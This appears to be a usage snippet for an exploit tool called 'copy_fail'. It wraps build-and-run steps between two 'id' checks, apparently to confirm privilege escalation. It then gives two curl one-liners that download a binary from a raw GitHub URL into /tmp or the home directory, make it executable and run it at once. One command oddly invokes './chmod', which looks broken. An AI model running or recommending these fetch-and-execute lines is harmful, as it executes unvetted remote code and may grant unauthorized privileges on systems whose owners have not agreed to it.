id

cd ./copy_fail && ./chmod +x *.sh && ./compile.sh
# then:
./run.sh

id

curl -L https://raw.githubusercontent.com/RoflSecurity/copy_fail/main/copy_fail -o /tmp/x && chmod +x /tmp/x && /tmp/x

# or:
curl -L https://raw.githubusercontent.com/RoflSecurity/copy_fail/main/copy_fail -o ~/x && chmod +x ~/x && ~/x